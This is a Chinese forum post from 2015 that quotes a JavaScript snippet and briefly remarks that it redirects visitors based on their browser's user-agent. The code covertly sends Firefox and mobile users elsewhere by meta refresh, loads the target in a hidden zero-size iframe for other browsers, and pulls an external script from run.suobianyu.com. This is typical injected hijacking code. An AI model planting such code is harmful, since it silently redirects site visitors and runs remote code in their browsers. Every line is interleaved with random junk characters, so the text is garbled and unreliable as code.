|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
, W$ Z% G( y: X6 ?9 T6 j- var ua = navigator.userAgent.toLowerCase(),6 P/ Y, w9 |$ W! V9 O+ g" J i
- browser = {; Q( e6 S+ p9 S4 I+ t+ {
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],% A) w# G: z# b
- opera: /opera/.test(ua),
; \8 w/ Q5 P, B8 c) Q) h - maxthon: /maxthon/.test(ua),
, B) S' d* U' T$ i! v/ B1 ]- v - theworld: /theworld/.test(ua),
& U! X: { U# E" x - qq: /qqbrowser/.test(ua),
2 _+ F: q4 T' Z7 v/ B/ l - sogou: /se /.test(ua),5 v0 y! B2 w7 O% Q( ^
- liebao: /liebao/.test(ua),
: o% x; t' m: I( P/ L- } - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),$ F. `0 S! [, J- C
- chrome: /chrome|crios/.test(ua),: S5 l+ |5 \, h& H
- safari: /webkit/.test(ua),* w) \( i( D ~3 H% S
- uc: /ucbrowser/.test(ua),. A; f& U% t1 W
- ie: /msie/.test(ua) && !/opera/.test(ua)
+ y$ |6 E$ B& Z, ~3 j% z- { L @8 N - };: z4 T$ A, ^% }" J* D
- var ver = browser.ver;: A# }+ P) I: ^+ B7 n% Z1 Z
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
) j. w/ Q& a2 _# ~! B9 h - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
" V$ O" u) N. c1 k" t( t, n - } else {
6 \: ^, l: I; G6 L8 n$ `2 f - window.sc = "<iframe src=" + tourl + "></iframe>";
$ n9 q9 _+ r6 J, O8 g - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
! w- o! h% n$ H7 e8 d1 R/ _ - }0 A9 x1 z8 u" g" W7 ?5 t7 ]5 V' P
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 8 s* ~: |* G6 X& I
: N! {* f# N( q/ q3 b好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|